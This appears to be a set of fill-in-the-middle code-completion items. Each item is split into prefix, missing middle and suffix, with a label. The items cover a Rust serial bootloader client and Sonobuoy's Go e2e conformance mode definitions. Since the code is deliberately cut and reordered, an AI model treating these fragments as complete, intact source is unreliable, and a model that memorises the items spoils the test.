log::trace!("Sending a write command");
write_request(serial, 0xc3, &buffer[..8 + chunk.len()])
.await
.map_err(CommunicationError::SerialIo)?;
serial.flush().await.map_err(CommunicationError::SerialIo)?;
// Wait for a response
let response = match tokio::time::timeout(COMM_TIMEOUT, slip::read_frame(serial)).await
{
Ok(Ok(frame)) => frame,
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(CommunicationError::Timeout),
};
let reason: Option<IspReasonCode> = response.get(1).cloned().map(Into::into);
match reason {
Some(IspReasonCode::Ok) => {
error = None;
break;
}
Some(x) => {
error = Some(CommunicationError::RemoteError(x));
}
None => {
error = Some(CommunicationError::MalformedResponse);
}
}
log::trace!("Got {:?}. Retrying...", reason);
}
if let Some(error) = error {
return Err(error);
}
}
Ok(())
}
async fn boot(
serial: &mut (impl AsyncWrite + Unpin),
address: u32,
) -> Result<(), CommunicationError> {
let mut buffer = [0u8; 8];
buffer[..4].copy_from_slice(&address.to_le_bytes());
// Send a frame
log::trace!("Sending a boot command");
write_request(serial, 0xc5, &buffer)
.await
.map_err(CommunicationError::SerialIo)?;
serial.flush().await.map_err(CommunicationError::SerialIo)?;
Ok(())
}
async fn write_request(
serial: &mut (impl AsyncWrite + Unpin),
cmd: u8,
req_payload: &[u8],
) -> std::io::Result<()> {
let mut frame_payload = vec![0u8; req_payload.len() + 8];
frame_payload[0] = cmd;
frame_payload[8..].copy_from_slice(req_payload);
let mut digest = crc32::Digest::new_with_initial(crc32::IEEE, 0);
digest.write(&req_payload);
let crc = digest.sum32();
frame_payload[4..][..4].copy_from_slice(&crc.to_le_bytes());
slip::write_frame(serial, &frame_payload).await
}
#[derive(Debug, Copy, Clone)]
enum IspReasonCode {
Default,
Ok,
BadDataLen, | BadInitialization,
BadExec,
Unknown(u8),
}
impl From<u8> for IspReasonCode {
fn from(x: u8) -> Self {
match x {
0x00 => Self::Default,
0xe0 => Self::Ok,
0xe1 => Self::BadDataLen,
0xe2 => Self::BadDataChecksum,
0xe3 => Self::InvalidCommand,
0xe4 => Self::BadInitialization,
0xe5 => Self::BadExec,
x => Self::Unknown(x),
}
}
}
async fn read_to_end_and_discard_for_some_time(
reader: &mut (impl AsyncRead + Unpin),
) -> std::io::Result<()> {
log::trace!("Starting discarding stale data in the receive buffer");
match tokio::time::timeout(Duration::from_millis(100), read_to_end_and_discard(reader)).await {
// FIXME: This match arm is really unreachable because `Infallible` is
// uninhabited. Waiting for `exhaustive_patterns` feature
// <https://github.com/rust-lang/rust/issues/51085>
Ok(Ok(_)) => unreachable!(),
Ok(Err(e)) => Err(e),
Err(_) => Ok(()),
}
}
async fn read_to_end_and_discard(
reader: &mut (impl AsyncRead + Unpin),
) -> std::io::Result<std::convert::Infallible> {
let mut buf = [0u8; 256];
loop {
let num_bytes = reader.read(&mut buf).await?;
log::trace!("Discarding {} byte(s)", num_bytes);
}
}
#[derive(thiserror::Error, Debug)]
enum ProcessElfError {
#[error("Couldn't read the ELF file: {0}")]
Read(#[source] std::io::Error),
#[error("Couldn't parse the ELF file: {0}")]
Parse(#[source] goblin::error::Error),
}
struct LoadableCode {
/// The regions to be loaded onto the target.
regions: Vec<(Vec<u8>, u64)>,
/// The entry point.
entry: u64,
}
/// Read the specified ELF file and return regions to be loaded onto the target.
async fn read_elf(exe: &Path) -> Result<LoadableCode, ProcessElfError> {
let elf_bytes = tokio::fs::read(&exe).await.map_err(ProcessElfError::Read)?;
let elf = goblin::elf::Elf::parse(&elf_bytes).map_err(ProcessElfError::Parse)?;
let regions = elf
.program_headers
.iter()
.filter_map(|ph| {
if ph.p_type == goblin::elf32::program_header::PT_LOAD && ph.p_filesz > 0 {
Some((
elf_bytes[ph.p_offset as usize..][..ph.p_filesz as usize].to_vec(),
ph.p_paddr,
))
} else {
None
}
})
.collect();
Ok(LoadableCode {
regions,
entry: elf.entry,
})
} | BadDataChecksum,
InvalidCommand, | random_line_split |
modes.go | /*
Copyright 2021 Sonobuoy Contributors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package app
import (
"fmt"
"regexp"
"sort"
"strings"
"github.com/spf13/cobra"
)
type e2eModeOptions struct {
name string
desc string
focus, skip string
parallel bool
}
const (
// E2eModeQuick runs a single E2E test and the systemd log tests.
E2eModeQuick string = "quick"
// E2eModeNonDisruptiveConformance runs all of the `Conformance` E2E tests which are not marked as disuprtive and the systemd log tests.
E2eModeNonDisruptiveConformance string = "non-disruptive-conformance"
// E2eModeCertifiedConformance runs all of the `Conformance` E2E tests and the systemd log tests.
E2eModeCertifiedConformance string = "certified-conformance"
// nonDisruptiveSkipList should generally just need to skip disruptive tests since upstream
// will disallow the other types of tests from being tagged as Conformance. However, in v1.16
// two disruptive tests were not marked as such, meaning we needed to specify them here to ensure
// user workload safety. See https://github.com/kubernetes/kubernetes/issues/82663
// and https://github.com/kubernetes/kubernetes/issues/82787
nonDisruptiveSkipList = `\[Disruptive\]|NoExecuteTaintManager`
conformanceFocus = `\[Conformance\]`
quickFocus = "Pods should be submitted and removed"
E2eModeConformanceLite = "conformance-lite"
)
var (
liteSkips = []string{
"Serial", "Slow", "Disruptive",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] should have a working scale subresource [Conformance]",
"[sig-network] EndpointSlice should create Endpoints and EndpointSlices for Pods matching a Service [Conformance]",
"[sig-api-machinery] CustomResourcePublishOpenAPI [Privileged:ClusterAdmin] works for multiple CRDs of same group and version but different kinds [Conformance]",
"[sig-auth] ServiceAccounts ServiceAccountIssuerDiscovery should support OIDC discovery of service account issuer [Conformance]",
"[sig-network] DNS should provide DNS for services [Conformance]",
"[sig-network] DNS should resolve DNS of partial qualified names for services [LinuxOnly] [Conformance]",
"[sig-apps] Job should delete a job [Conformance]",
"[sig-network] DNS should provide DNS for ExternalName services [Conformance]",
"[sig-node] Variable Expansion should succeed in writing subpaths in container [Slow] [Conformance]",
"[sig-apps] Daemon set [Serial] should rollback without unnecessary restarts [Conformance]",
"[sig-api-machinery] Garbage collector should orphan pods created by rc if delete options say so [Conformance]",
"[sig-network] Services should have session affinity timeout work for service with type clusterIP [LinuxOnly] [Conformance]",
"[sig-network] Services should have session affinity timeout work for NodePort service [LinuxOnly] [Conformance]",
"[sig-node] InitContainer [NodeConformance] should not start app containers if init containers fail on a RestartAlways pod [Conformance]",
"[sig-apps] Daemon set [Serial] should update pod when spec was updated and update strategy is RollingUpdate [Conformance]",
"[sig-api-machinery] CustomResourcePublishOpenAPI [Privileged:ClusterAdmin] works for multiple CRDs of same group but different versions [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] Burst scaling should run to completion even with unhealthy pods [Slow] [Conformance]",
`[sig-node] Probing container should be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
"[sig-network] Services should be able to switch session affinity for service with type clusterIP [LinuxOnly] [Conformance]",
"[sig-node] Probing container with readiness probe that fails should never be ready and never restart [NodeConformance] [Conformance]",
"[sig-api-machinery] Watchers should observe add, update, and delete watch notifications on configmaps [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] PriorityClass endpoints verify PriorityClass endpoints can be operated with different HTTP methods [Conformance]",
"[sig-api-machinery] CustomResourceDefinition resources [Privileged:ClusterAdmin] Simple CustomResourceDefinition listing custom resource definition objects works [Conformance]",
"[sig-api-machinery] CustomResourceDefinition Watch [Privileged:ClusterAdmin] CustomResourceDefinition Watch watch on custom resource definition objects [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] validates basic preemption works [Conformance]",
"[sig-storage] ConfigMap optional updates should be reflected in volume [NodeConformance] [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] Scaling should happen in predictable order and halt if any stateful pod is unhealthy [Slow] [Conformance]",
"[sig-storage] EmptyDir wrapper volumes should not cause race condition when used for configmaps [Serial] [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] validates lower priority pod preemption by critical pod [Conformance]",
"[sig-storage] Projected secret optional updates should be reflected in volume [NodeConformance] [Conformance]",
"[sig-apps] CronJob should schedule multiple jobs concurrently [Conformance]",
"[sig-apps] CronJob should replace jobs when ReplaceConcurrent [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] PreemptionExecutionPath runs ReplicaSets to verify preemption running path [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] should perform canary updates and phased rolling updates of template modifications [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] should perform rolling updates and roll backs of template modifications [Conformance]",
"[sig-node] Probing container should have monotonically increasing restart count [NodeConformance] [Conformance]",
"[sig-node] Variable Expansion should verify that a failing subpath expansion can be modified during the lifecycle of a container [Slow] [Conformance]",
`[sig-node] Probing container should *not* be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
"[sig-node] Probing container should *not* be restarted with a tcp:8080 liveness probe [NodeConformance] [Conformance]",
"[sig-node] Probing container should *not* be restarted with a /healthz http liveness probe [NodeConformance] [Conformance]",
"[sig-apps] CronJob should not schedule jobs when suspended [Slow] [Conformance]",
"[sig-scheduling] SchedulerPredicates [Serial] validates that there exists conflict between pods with same hostPort and protocol but one using 0.0.0.0 hostIP [Conformance]",
"[sig-apps] CronJob should not schedule new jobs when ForbidConcurrent [Slow] [Conformance]",
`[k8s.io] Probing container should *not* be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
`[sig-apps] StatefulSet [k8s.io] Basic StatefulSet functionality [StatefulSetBasic] should perform canary updates and phased rolling updates of template modifications [Conformance]`,
`[sig-storage] ConfigMap updates should be reflected in volume [NodeConformance] [Conformance]`,
`[sig-network] Services should be able to switch session affinity for NodePort service [LinuxOnly] [Conformance]`,
`[k8s.io] Probing container with readiness probe that fails should never be ready and never restart [NodeConformance] [Conformance]`,
`[sig-storage] Projected configMap optional updates should be reflected in volume [NodeConformance] [Conformance]`,
`[k8s.io] Probing container should be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
`[sig-api-machinery] Garbage collector should delete RS created by deployment when not orphaning [Conformance]`,
`[sig-api-machinery] Garbage collector should delete pods created by rc when not orphaning [Conformance]`,
`[k8s.io] Probing container should have monotonically increasing restart count [NodeConformance] [Conformance]`,
`[k8s.io] Probing container should *not* be restarted with a tcp:8080 liveness probe [NodeConformance] [Conformance]`,
`[sig-api-machinery] Garbage collector should keep the rc around until all its pods are deleted if the deleteOptions says so [Conformance]`,
`[sig-apps] StatefulSet [k8s.io] Basic StatefulSet functionality [StatefulSetBasic] should perform rolling updates and roll backs of template modifications [Conformance]`,
}
)
// validModes is a map of the various valid modes. Name is duplicated as the key and in the e2eModeOptions itself.
var validModes = map[string]e2eModeOptions{
E2eModeQuick: {
name: E2eModeQuick, focus: quickFocus,
desc: "Quick mode runs a single test to create and destroy a pod. Fastest way to check basic cluster operation.",
},
E2eModeNonDisruptiveConformance: {
name: E2eModeNonDisruptiveConformance, focus: conformanceFocus, skip: nonDisruptiveSkipList,
desc: "Non-destructive conformance mode runs all of the conformance tests except those that would disrupt other cluster operations (e.g. tests that may cause nodes to be restarted or impact cluster permissions).",
},
E2eModeCertifiedConformance: {
name: E2eModeCertifiedConformance, focus: conformanceFocus,
desc: "Certified conformance mode runs the entire conformance suite, even disruptive tests. This is typically run in a dev environment to earn the CNCF Certified Kubernetes status.",
},
E2eModeConformanceLite: {
name: E2eModeConformanceLite, focus: conformanceFocus, skip: genLiteSkips(), parallel: true,
desc: "An unofficial mode of running the e2e tests which removes some of the longest running tests so that your tests can complete in the fastest time possible while maximizing coverage.",
},
}
func genLiteSkips() string {
quoted := make([]string, len(liteSkips))
for i, v := range liteSkips {
quoted[i] = regexp.QuoteMeta(v)
// Quotes will cause the regexp to explode; easy to just change them to wildcards without an issue.
quoted[i] = strings.ReplaceAll(quoted[i], `"`, ".")
}
return strings.Join(quoted, "|")
}
func validE2eModes() []string {
keys := []string{}
for key := range validModes {
keys = append(keys, key)
}
sort.Strings(keys)
return keys
}
type modesOptions struct {
verbose bool
}
func NewCmdModes() *cobra.Command {
f := modesOptions{}
var modesCmd = &cobra.Command{
Use: "modes",
Short: "Display the various modes in which to run the e2e plugin",
Run: func(cmd *cobra.Command, args []string) {
showModes(f)
},
Args: cobra.ExactArgs(0),
}
modesCmd.Flags().BoolVar(&f.verbose, "verbose", false, "Do not truncate output for each mode.")
return modesCmd
}
func showModes(opt modesOptions) {
count := 0
if !opt.verbose {
count = 200
}
for i, key := range validE2eModes() {
opt := validModes[key]
if i != 0 {
fmt.Println("")
}
fmt.Println(truncate(fmt.Sprintf("Mode: %v", opt.name), count))
fmt.Println(truncate(fmt.Sprintf("Description: %v", opt.desc), count))
fmt.Println(truncate(fmt.Sprintf("E2E_FOCUS: %v", opt.focus), count))
fmt.Println(truncate(fmt.Sprintf("E2E_SKIP: %v", opt.skip), count))
fmt.Println(truncate(fmt.Sprintf("E2E_PARALLEL: %v", opt.parallel), count))
}
}
func truncate(s string, count int) string {
if count <= 0 {
return s
}
if len(s) <= count |
return s[0:count] + "... (truncated) ..."
}
| {
return s
} | conditional_block |
modes.go | /*
Copyright 2021 Sonobuoy Contributors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package app
import (
"fmt"
"regexp"
"sort"
"strings"
"github.com/spf13/cobra"
)
type e2eModeOptions struct {
name string
desc string
focus, skip string
parallel bool
}
const (
// E2eModeQuick runs a single E2E test and the systemd log tests.
E2eModeQuick string = "quick"
// E2eModeNonDisruptiveConformance runs all of the `Conformance` E2E tests which are not marked as disuprtive and the systemd log tests.
E2eModeNonDisruptiveConformance string = "non-disruptive-conformance"
// E2eModeCertifiedConformance runs all of the `Conformance` E2E tests and the systemd log tests.
E2eModeCertifiedConformance string = "certified-conformance"
// nonDisruptiveSkipList should generally just need to skip disruptive tests since upstream
// will disallow the other types of tests from being tagged as Conformance. However, in v1.16
// two disruptive tests were not marked as such, meaning we needed to specify them here to ensure
// user workload safety. See https://github.com/kubernetes/kubernetes/issues/82663
// and https://github.com/kubernetes/kubernetes/issues/82787
nonDisruptiveSkipList = `\[Disruptive\]|NoExecuteTaintManager`
conformanceFocus = `\[Conformance\]`
quickFocus = "Pods should be submitted and removed"
E2eModeConformanceLite = "conformance-lite"
)
var (
liteSkips = []string{
"Serial", "Slow", "Disruptive",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] should have a working scale subresource [Conformance]",
"[sig-network] EndpointSlice should create Endpoints and EndpointSlices for Pods matching a Service [Conformance]",
"[sig-api-machinery] CustomResourcePublishOpenAPI [Privileged:ClusterAdmin] works for multiple CRDs of same group and version but different kinds [Conformance]",
"[sig-auth] ServiceAccounts ServiceAccountIssuerDiscovery should support OIDC discovery of service account issuer [Conformance]",
"[sig-network] DNS should provide DNS for services [Conformance]",
"[sig-network] DNS should resolve DNS of partial qualified names for services [LinuxOnly] [Conformance]",
"[sig-apps] Job should delete a job [Conformance]",
"[sig-network] DNS should provide DNS for ExternalName services [Conformance]",
"[sig-node] Variable Expansion should succeed in writing subpaths in container [Slow] [Conformance]",
"[sig-apps] Daemon set [Serial] should rollback without unnecessary restarts [Conformance]",
"[sig-api-machinery] Garbage collector should orphan pods created by rc if delete options say so [Conformance]",
"[sig-network] Services should have session affinity timeout work for service with type clusterIP [LinuxOnly] [Conformance]",
"[sig-network] Services should have session affinity timeout work for NodePort service [LinuxOnly] [Conformance]",
"[sig-node] InitContainer [NodeConformance] should not start app containers if init containers fail on a RestartAlways pod [Conformance]",
"[sig-apps] Daemon set [Serial] should update pod when spec was updated and update strategy is RollingUpdate [Conformance]",
"[sig-api-machinery] CustomResourcePublishOpenAPI [Privileged:ClusterAdmin] works for multiple CRDs of same group but different versions [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] Burst scaling should run to completion even with unhealthy pods [Slow] [Conformance]",
`[sig-node] Probing container should be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
"[sig-network] Services should be able to switch session affinity for service with type clusterIP [LinuxOnly] [Conformance]",
"[sig-node] Probing container with readiness probe that fails should never be ready and never restart [NodeConformance] [Conformance]",
"[sig-api-machinery] Watchers should observe add, update, and delete watch notifications on configmaps [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] PriorityClass endpoints verify PriorityClass endpoints can be operated with different HTTP methods [Conformance]",
"[sig-api-machinery] CustomResourceDefinition resources [Privileged:ClusterAdmin] Simple CustomResourceDefinition listing custom resource definition objects works [Conformance]",
"[sig-api-machinery] CustomResourceDefinition Watch [Privileged:ClusterAdmin] CustomResourceDefinition Watch watch on custom resource definition objects [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] validates basic preemption works [Conformance]",
"[sig-storage] ConfigMap optional updates should be reflected in volume [NodeConformance] [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] Scaling should happen in predictable order and halt if any stateful pod is unhealthy [Slow] [Conformance]",
"[sig-storage] EmptyDir wrapper volumes should not cause race condition when used for configmaps [Serial] [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] validates lower priority pod preemption by critical pod [Conformance]",
"[sig-storage] Projected secret optional updates should be reflected in volume [NodeConformance] [Conformance]",
"[sig-apps] CronJob should schedule multiple jobs concurrently [Conformance]",
"[sig-apps] CronJob should replace jobs when ReplaceConcurrent [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] PreemptionExecutionPath runs ReplicaSets to verify preemption running path [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] should perform canary updates and phased rolling updates of template modifications [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] should perform rolling updates and roll backs of template modifications [Conformance]",
"[sig-node] Probing container should have monotonically increasing restart count [NodeConformance] [Conformance]",
"[sig-node] Variable Expansion should verify that a failing subpath expansion can be modified during the lifecycle of a container [Slow] [Conformance]",
`[sig-node] Probing container should *not* be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
"[sig-node] Probing container should *not* be restarted with a tcp:8080 liveness probe [NodeConformance] [Conformance]",
"[sig-node] Probing container should *not* be restarted with a /healthz http liveness probe [NodeConformance] [Conformance]",
"[sig-apps] CronJob should not schedule jobs when suspended [Slow] [Conformance]",
"[sig-scheduling] SchedulerPredicates [Serial] validates that there exists conflict between pods with same hostPort and protocol but one using 0.0.0.0 hostIP [Conformance]",
"[sig-apps] CronJob should not schedule new jobs when ForbidConcurrent [Slow] [Conformance]",
`[k8s.io] Probing container should *not* be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
`[sig-apps] StatefulSet [k8s.io] Basic StatefulSet functionality [StatefulSetBasic] should perform canary updates and phased rolling updates of template modifications [Conformance]`,
`[sig-storage] ConfigMap updates should be reflected in volume [NodeConformance] [Conformance]`,
`[sig-network] Services should be able to switch session affinity for NodePort service [LinuxOnly] [Conformance]`,
`[k8s.io] Probing container with readiness probe that fails should never be ready and never restart [NodeConformance] [Conformance]`,
`[sig-storage] Projected configMap optional updates should be reflected in volume [NodeConformance] [Conformance]`,
`[k8s.io] Probing container should be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
`[sig-api-machinery] Garbage collector should delete RS created by deployment when not orphaning [Conformance]`,
`[sig-api-machinery] Garbage collector should delete pods created by rc when not orphaning [Conformance]`,
`[k8s.io] Probing container should have monotonically increasing restart count [NodeConformance] [Conformance]`,
`[k8s.io] Probing container should *not* be restarted with a tcp:8080 liveness probe [NodeConformance] [Conformance]`,
`[sig-api-machinery] Garbage collector should keep the rc around until all its pods are deleted if the deleteOptions says so [Conformance]`,
`[sig-apps] StatefulSet [k8s.io] Basic StatefulSet functionality [StatefulSetBasic] should perform rolling updates and roll backs of template modifications [Conformance]`,
}
)
// validModes is a map of the various valid modes. Name is duplicated as the key and in the e2eModeOptions itself.
var validModes = map[string]e2eModeOptions{
E2eModeQuick: {
name: E2eModeQuick, focus: quickFocus,
desc: "Quick mode runs a single test to create and destroy a pod. Fastest way to check basic cluster operation.",
},
E2eModeNonDisruptiveConformance: {
name: E2eModeNonDisruptiveConformance, focus: conformanceFocus, skip: nonDisruptiveSkipList,
desc: "Non-destructive conformance mode runs all of the conformance tests except those that would disrupt other cluster operations (e.g. tests that may cause nodes to be restarted or impact cluster permissions).",
},
E2eModeCertifiedConformance: {
name: E2eModeCertifiedConformance, focus: conformanceFocus,
desc: "Certified conformance mode runs the entire conformance suite, even disruptive tests. This is typically run in a dev environment to earn the CNCF Certified Kubernetes status.",
},
E2eModeConformanceLite: {
name: E2eModeConformanceLite, focus: conformanceFocus, skip: genLiteSkips(), parallel: true,
desc: "An unofficial mode of running the e2e tests which removes some of the longest running tests so that your tests can complete in the fastest time possible while maximizing coverage.",
},
}
func genLiteSkips() string {
quoted := make([]string, len(liteSkips))
for i, v := range liteSkips {
quoted[i] = regexp.QuoteMeta(v)
// Quotes will cause the regexp to explode; easy to just change them to wildcards without an issue.
quoted[i] = strings.ReplaceAll(quoted[i], `"`, ".")
}
return strings.Join(quoted, "|")
}
func validE2eModes() []string {
keys := []string{}
for key := range validModes {
keys = append(keys, key)
}
sort.Strings(keys)
return keys
}
type modesOptions struct {
verbose bool
}
func | () *cobra.Command {
f := modesOptions{}
var modesCmd = &cobra.Command{
Use: "modes",
Short: "Display the various modes in which to run the e2e plugin",
Run: func(cmd *cobra.Command, args []string) {
showModes(f)
},
Args: cobra.ExactArgs(0),
}
modesCmd.Flags().BoolVar(&f.verbose, "verbose", false, "Do not truncate output for each mode.")
return modesCmd
}
func showModes(opt modesOptions) {
count := 0
if !opt.verbose {
count = 200
}
for i, key := range validE2eModes() {
opt := validModes[key]
if i != 0 {
fmt.Println("")
}
fmt.Println(truncate(fmt.Sprintf("Mode: %v", opt.name), count))
fmt.Println(truncate(fmt.Sprintf("Description: %v", opt.desc), count))
fmt.Println(truncate(fmt.Sprintf("E2E_FOCUS: %v", opt.focus), count))
fmt.Println(truncate(fmt.Sprintf("E2E_SKIP: %v", opt.skip), count))
fmt.Println(truncate(fmt.Sprintf("E2E_PARALLEL: %v", opt.parallel), count))
}
}
func truncate(s string, count int) string {
if count <= 0 {
return s
}
if len(s) <= count {
return s
}
return s[0:count] + "... (truncated) ..."
}
| NewCmdModes | identifier_name |
modes.go | /*
Copyright 2021 Sonobuoy Contributors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package app
import (
"fmt"
"regexp"
"sort"
"strings"
"github.com/spf13/cobra"
)
type e2eModeOptions struct {
name string
desc string
focus, skip string
parallel bool
}
const (
// E2eModeQuick runs a single E2E test and the systemd log tests.
E2eModeQuick string = "quick"
// E2eModeNonDisruptiveConformance runs all of the `Conformance` E2E tests which are not marked as disuprtive and the systemd log tests.
E2eModeNonDisruptiveConformance string = "non-disruptive-conformance"
// E2eModeCertifiedConformance runs all of the `Conformance` E2E tests and the systemd log tests.
E2eModeCertifiedConformance string = "certified-conformance"
// nonDisruptiveSkipList should generally just need to skip disruptive tests since upstream
// will disallow the other types of tests from being tagged as Conformance. However, in v1.16
// two disruptive tests were not marked as such, meaning we needed to specify them here to ensure
// user workload safety. See https://github.com/kubernetes/kubernetes/issues/82663
// and https://github.com/kubernetes/kubernetes/issues/82787
nonDisruptiveSkipList = `\[Disruptive\]|NoExecuteTaintManager`
conformanceFocus = `\[Conformance\]`
quickFocus = "Pods should be submitted and removed"
E2eModeConformanceLite = "conformance-lite"
)
var (
liteSkips = []string{
"Serial", "Slow", "Disruptive",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] should have a working scale subresource [Conformance]",
"[sig-network] EndpointSlice should create Endpoints and EndpointSlices for Pods matching a Service [Conformance]",
"[sig-api-machinery] CustomResourcePublishOpenAPI [Privileged:ClusterAdmin] works for multiple CRDs of same group and version but different kinds [Conformance]",
"[sig-auth] ServiceAccounts ServiceAccountIssuerDiscovery should support OIDC discovery of service account issuer [Conformance]",
"[sig-network] DNS should provide DNS for services [Conformance]",
"[sig-network] DNS should resolve DNS of partial qualified names for services [LinuxOnly] [Conformance]",
"[sig-apps] Job should delete a job [Conformance]",
"[sig-network] DNS should provide DNS for ExternalName services [Conformance]",
"[sig-node] Variable Expansion should succeed in writing subpaths in container [Slow] [Conformance]",
"[sig-apps] Daemon set [Serial] should rollback without unnecessary restarts [Conformance]",
"[sig-api-machinery] Garbage collector should orphan pods created by rc if delete options say so [Conformance]",
"[sig-network] Services should have session affinity timeout work for service with type clusterIP [LinuxOnly] [Conformance]",
"[sig-network] Services should have session affinity timeout work for NodePort service [LinuxOnly] [Conformance]",
"[sig-node] InitContainer [NodeConformance] should not start app containers if init containers fail on a RestartAlways pod [Conformance]",
"[sig-apps] Daemon set [Serial] should update pod when spec was updated and update strategy is RollingUpdate [Conformance]",
"[sig-api-machinery] CustomResourcePublishOpenAPI [Privileged:ClusterAdmin] works for multiple CRDs of same group but different versions [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] Burst scaling should run to completion even with unhealthy pods [Slow] [Conformance]",
`[sig-node] Probing container should be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
"[sig-network] Services should be able to switch session affinity for service with type clusterIP [LinuxOnly] [Conformance]",
"[sig-node] Probing container with readiness probe that fails should never be ready and never restart [NodeConformance] [Conformance]",
"[sig-api-machinery] Watchers should observe add, update, and delete watch notifications on configmaps [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] PriorityClass endpoints verify PriorityClass endpoints can be operated with different HTTP methods [Conformance]",
"[sig-api-machinery] CustomResourceDefinition resources [Privileged:ClusterAdmin] Simple CustomResourceDefinition listing custom resource definition objects works [Conformance]",
"[sig-api-machinery] CustomResourceDefinition Watch [Privileged:ClusterAdmin] CustomResourceDefinition Watch watch on custom resource definition objects [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] validates basic preemption works [Conformance]",
"[sig-storage] ConfigMap optional updates should be reflected in volume [NodeConformance] [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] Scaling should happen in predictable order and halt if any stateful pod is unhealthy [Slow] [Conformance]",
"[sig-storage] EmptyDir wrapper volumes should not cause race condition when used for configmaps [Serial] [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] validates lower priority pod preemption by critical pod [Conformance]",
"[sig-storage] Projected secret optional updates should be reflected in volume [NodeConformance] [Conformance]",
"[sig-apps] CronJob should schedule multiple jobs concurrently [Conformance]",
"[sig-apps] CronJob should replace jobs when ReplaceConcurrent [Conformance]",
"[sig-scheduling] SchedulerPreemption [Serial] PreemptionExecutionPath runs ReplicaSets to verify preemption running path [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] should perform canary updates and phased rolling updates of template modifications [Conformance]",
"[sig-apps] StatefulSet Basic StatefulSet functionality [StatefulSetBasic] should perform rolling updates and roll backs of template modifications [Conformance]",
"[sig-node] Probing container should have monotonically increasing restart count [NodeConformance] [Conformance]",
"[sig-node] Variable Expansion should verify that a failing subpath expansion can be modified during the lifecycle of a container [Slow] [Conformance]",
`[sig-node] Probing container should *not* be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
"[sig-node] Probing container should *not* be restarted with a tcp:8080 liveness probe [NodeConformance] [Conformance]",
"[sig-node] Probing container should *not* be restarted with a /healthz http liveness probe [NodeConformance] [Conformance]",
"[sig-apps] CronJob should not schedule jobs when suspended [Slow] [Conformance]",
"[sig-scheduling] SchedulerPredicates [Serial] validates that there exists conflict between pods with same hostPort and protocol but one using 0.0.0.0 hostIP [Conformance]",
"[sig-apps] CronJob should not schedule new jobs when ForbidConcurrent [Slow] [Conformance]",
`[k8s.io] Probing container should *not* be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
`[sig-apps] StatefulSet [k8s.io] Basic StatefulSet functionality [StatefulSetBasic] should perform canary updates and phased rolling updates of template modifications [Conformance]`,
`[sig-storage] ConfigMap updates should be reflected in volume [NodeConformance] [Conformance]`,
`[sig-network] Services should be able to switch session affinity for NodePort service [LinuxOnly] [Conformance]`,
`[k8s.io] Probing container with readiness probe that fails should never be ready and never restart [NodeConformance] [Conformance]`,
`[sig-storage] Projected configMap optional updates should be reflected in volume [NodeConformance] [Conformance]`,
`[k8s.io] Probing container should be restarted with a exec "cat /tmp/health" liveness probe [NodeConformance] [Conformance]`,
`[sig-api-machinery] Garbage collector should delete RS created by deployment when not orphaning [Conformance]`,
`[sig-api-machinery] Garbage collector should delete pods created by rc when not orphaning [Conformance]`,
`[k8s.io] Probing container should have monotonically increasing restart count [NodeConformance] [Conformance]`,
